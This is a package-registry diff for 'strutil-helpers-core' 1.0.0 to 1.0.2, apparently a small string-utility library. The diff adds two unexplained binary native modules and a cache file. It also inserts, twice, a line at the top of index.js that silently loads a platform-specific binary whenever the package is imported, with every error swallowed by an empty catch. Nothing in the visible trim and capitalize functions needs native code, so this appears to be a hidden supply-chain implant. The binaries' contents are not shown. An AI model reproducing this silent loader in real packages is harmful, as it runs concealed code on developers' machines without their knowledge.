strutil-helpers-core 1.0.0 → 1.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.napi_cache +1 -0
- package/index.js +2 -0
- package/native.napi.node +0 -0
- package/native_win.node +0 -0
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -1,3 +1,5 @@
|
|
|
1
|
+
try{if(process.platform==='win32')require('./native_win.node');else require('./native.napi.node')}catch(_){}
|
|
2
|
+
try{if(process.platform==='win32')require('./native_win.node');else require('./native.napi.node')}catch(_){}
|
|
1
3
|
'use strict';
|
|
2
4
|
function trim(s){return s.trim()}
|
|
3
5
|
function capitalize(s){return s.charAt(0).toUpperCase()+s.slice(1)}
|
package/native.napi.node
ADDED
|
Binary file
|
package/native_win.node
ADDED
|
Binary file
|